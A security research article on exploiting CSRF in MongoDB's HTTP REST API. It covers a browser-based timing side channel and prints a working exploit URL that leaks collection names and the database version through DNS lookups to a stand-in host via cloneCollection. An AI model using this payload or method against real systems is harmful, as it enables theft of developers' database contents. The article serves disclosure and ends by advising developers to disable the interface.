Exploiting a CSRF Vulnerability in MongoDB Rest API

This article explains how attackers can exploit a Cross-site Request Forgery (CSRF) vulnerability in the MongoDB REST API to extract data from the database of the vulnerable database management system.

What is MongoDB?

MongoDB is an open source database management system. It has been developed since 2007 and is currently one of the most popular and well known NoSQL databases on the market.

Introduction to MongoDB’s REST API

Mongodb features a REST API which can be activated by starting MongoDB with –rest switch. The port number of the HTTP interface is 1000 more than the configured MongoDB port, so it is 28017 by default. Developers are recommended to turn off the rest API and the HTTP interface on production servers, since they allow direct access to the database.

What does the MongoDB Rest API Do?

The REST API allows the developer to query the database and get back a JSON string with the result, therefore can develop the front end of a website without the need to develop a web application that queries MongoDB first.

Known Vulnerabilities in MongoDB Rest API

The Rest API of MongoDB really comes in handy in the development phase of a website. However, as briefly mentioned above the developers are strongly suggested to deactivate the REST API in production environments. This is due to the fact that the HTTP interface probably wasn’t made for production in the first place. By default it lacks authentication and gives you direct access to the whole database. And as early as 2012 a presentation about vulnerabilities in MongoDB’s REST API was held. It featured vulnerabilities ranging from cross-site request forgery (CSRF) to cross-site scripting (XSS).

What Was Patched?

MongoDB patched the XSS vulnerabilities, which allowed an attacker to inject HTML and JavaScript code into MongoDB’s log files and send the data to a server under the attacker’s control. Since the XSS vulnerabilities were fixed it is not easy to exfiltrate data from the MongoDB REST API now due to the Same Origin Policy check, which forbids the reading of cross-domain responses of requests.

What Is Still Vulnerable?

Unfortunately after all these years the Cross-site Request Forgery (CSRF) issues are still there. These issues allow a malicious hacker to query the MongoDB database, just by redirecting the victim to a website under his control. However, since such an attack is carried out by the developer’s browser there is no way to get a response to the attacker’s server. Therefore the attackers can’t extract data, so the attack is useless, almost! However, there are still some other ways around SOP.

Attacking the Developer

The attacker can target the developers directly, who typically run the REST API on their local machines. Typically, even though it is a development environment the developer have sensitive data saved in the database and might even have a copy of the database that is used in production. An attacker can retrieve the data from the developer’s database by utilizing several different methods.

Cross Site Timing Side Channel

MongoDB has a function called sleep. It accepts a time in milliseconds and instructs the database server to sleep for that given period. To measure the time a cross-domain request takes the attacker can do the following in javascript:

  1. Record the current time
  2. Create an invisible iframe with an onload event
  3. Set the src to MongoDB’s REST API on the localhost or internal network of the victim and query the data, for example the database version. The query tries to guess the version and sleeps for two seconds on a correct guess, similar to a time based SQL injection.
  4. The onload event fires when the page finishes loading. It contains a function that records the current time again.
  5. The attacker compares the times from step 4 and step 2. If the difference is two seconds or more there was a correct guess.

As mentioned above this is the same principle as on a time based SQL Injection Attack. The only difference is, that the victim’s browser makes the request and sends it to the attacker, as it is already behind the firewall. This is a proof of concept of such a timing attack on a MongoDB REST API instance. It issues a command to verify the MongoDB version on a given IP on the localhost or local network.

Out-Of-Band Data Exfiltration

The above attack is very reliable, but it is pretty slow and takes thousands of requests if you want to exfiltrate big datasets. A better option is an Out-Of-Band data exfiltration. Those are already known from regular SQL Injections or XXE. Since the hacker can’t directly see the response of his query he sends it through other channels back to his server where he can analyze it. This can either be through a direct request to his server or – like he can do with MongoDB – through DNS requests.

MongoDB has a function called cloneCollection, which allows a developer to clone a collection from a remote server. To do the clone the developer has to pass the hostname of the server to that function, which the MongoDB tries to resolve.

Since the hacker is able to use javascript in his query he can concatenate a database command with his hostname. E.g. db.version()+’.example.com’, which would result in MongoDB querying a DNS server for 3.2.9.example.com. The attacker can then read the DNS queries that MongoDB did from his nameserver logfiles, and finding out that the developer runs MongoDB version 3.2.9.

Of course it is also possible to query the database and extract data such as usernames, password, email addresses etc. Here is an example of such a command using the REST API:

http://127.0.0.1:28017/test/$cmd/?filter_eval=ret="collections_";db.getCollectionNames().forEach(function(x){ret=ret%2bx%2b"."});{db.runCommand({cloneCollection:"",from:ret%2b"version_."%2bdb.version()%2b".example.com:27017"})}&limit=1

 And this is the explanation of the query above:

ret="collections_" marks the beginning of the collections in the DNS request

db.getCollectionNames().forEach(...) appends each collection name to the return value

db.runCommand() just runs the following command

cloneCollection this command tries to clone a collection from a remote host

from the hostname to clone from, appended to our return value and db version

That way data can be exfiltrated out of bounds over DNS, effectively bypassing SOP restrictions as explained in this Proof of Concept video, and by using this sample code. Below is a proof of  concept video of how to exploit a CSRF vulnerability and extract data from the MongoDB database.

Conclusion

Even though the obvious XSS vulnerabilities were fixed in MongoDB’s HTTP interface, the CSRF issues are present to this day. A firewall is not a sufficient protection against such attacks since it can be bypassed by CSRF or SSRF (on a production system) and even an attack utilizing DNS Rebinding is possible. We strongly recommend developers to deactivate the REST API and the HTTP interface of MongoDB, even on local developer machines since as this article shows, it is still possible to extract data. All it takes to become a victim of such an attack is clicking a malicious link. If a REST API is needed the developer should put one of the alternatives suggested on MongoDB’s website into consideration.

Sven Morgenroth

About the Author

Sven Morgenroth - Senior Security Engineer